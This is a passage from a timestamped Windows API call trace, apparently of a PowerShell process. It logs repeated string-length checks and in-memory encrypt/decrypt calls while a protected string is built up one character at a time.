MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.996] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3N0y촑껞攃褤媂") returned 0x30 [0189.996] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹ヱ䁿혆钼鲒ଇ") returned 0x30 [0189.996] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹ヱ䁿혆钼鲒ଇ") returned 0x30 [0189.996] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.996] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3N0yg촑껞攃褤媂") returned 0x30 [0189.996] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.997] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹漆뽲㗏鷵봖\⋞) returned 0x30 [0189.997] SysStringLen (param_1="嶎㧂ᩨ퐖宒䂀锽퐊讙韮认虾두⯗䴩ڤ囇Ի쭢惪躧菼墳돴濯㹹ꖌ좐ዟꕖ腙矟┱퍼練鞹漆뽲㗏鷵봖\⋞) returned 0x30 [0189.997] SystemFunction041 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.997] SysStringLen (param_1="xoiegsSP4J+7JJRzIjZ4rCe47Nz9kjK8OdV/4t3N0yg=껞攃褤媂") returned 0x30 [0189.997] SystemFunction040 (in: Memory=0x3da594, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da594) returned 0x0 [0189.997] EtwEventActivityIdControl () returned 0x0 [0189.997] EtwEventActivityIdControl () returned 0x0 [0189.997] EtwEventActivityIdControl () returned 0x0 [0189.998] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.998] EtwEventActivityIdControl () returned 0x0 [0189.998] EtwEventActivityIdControl () returned 0x0 [0189.998] EtwEventActivityIdControl () returned 0x0 [0189.999] SysStringLen (param_1="") returned 0x8 [0189.999] SysStringLen (param_1="N") returned 0x8 [0189.999] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.999] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.999] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.999] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.999] SysStringLen (param_1="ND") returned 0x8 [0189.999] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.999] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.999] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.999] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.999] SysStringLen (param_1="NDZ") returned 0x8 [0189.999] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.000] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0190.000] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="NDZl") returned 0x8 [0190.000] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.000] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0190.000] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="NDZlO") returned 0x8 [0190.000] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.000] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0190.000] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.000] SysStringLen (param_1="NDZlOD") returned 0x8 [0190.000] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.001] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.001] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0190.001] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.001] SysStringLen (param_1="NDZlODR") returned 0x8 [0190.001] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.001] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.001] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0190.001] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.001] SysStringLen (param_1="NDZlODRm") returned 0x8 [0190.001] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.001] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0190.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0190.002] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.002] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.002] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.002] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0190.003] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0190.003] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0190.003] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0190.003] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0190.003] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0190.003] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.003] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0190.003] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0190.004] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0190.004] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0190.004] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0190.004] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0190.004] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.004] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0190.004] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.005] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0190.005] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0190.005] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.005] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0190.005] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0190.005] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.005] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0190.006] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0190.006] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0190.006] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0190.006] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0190.006] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0190.006] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0190.006] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0190.007] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0190.007] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0190.007] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0190.007] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0190.007] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0190.007] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0190.008] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0190.008] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0190.008] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0190.008] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0190.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0190.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0190.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0190.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0190.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0190.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0190.010] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0190.010] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0190.010] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0190.010] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0190.010] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0190.010] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0190.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0190.011] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0190.011] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0190.011] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0190.011] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0190.011] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0190.012] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0190.012] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0190.012] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0190.012] SystemFunction041 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0190.012] SystemFunction040 (in: Memory=0x3c0c34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0c34) returned 0x0 [0190.012] SysStringLen 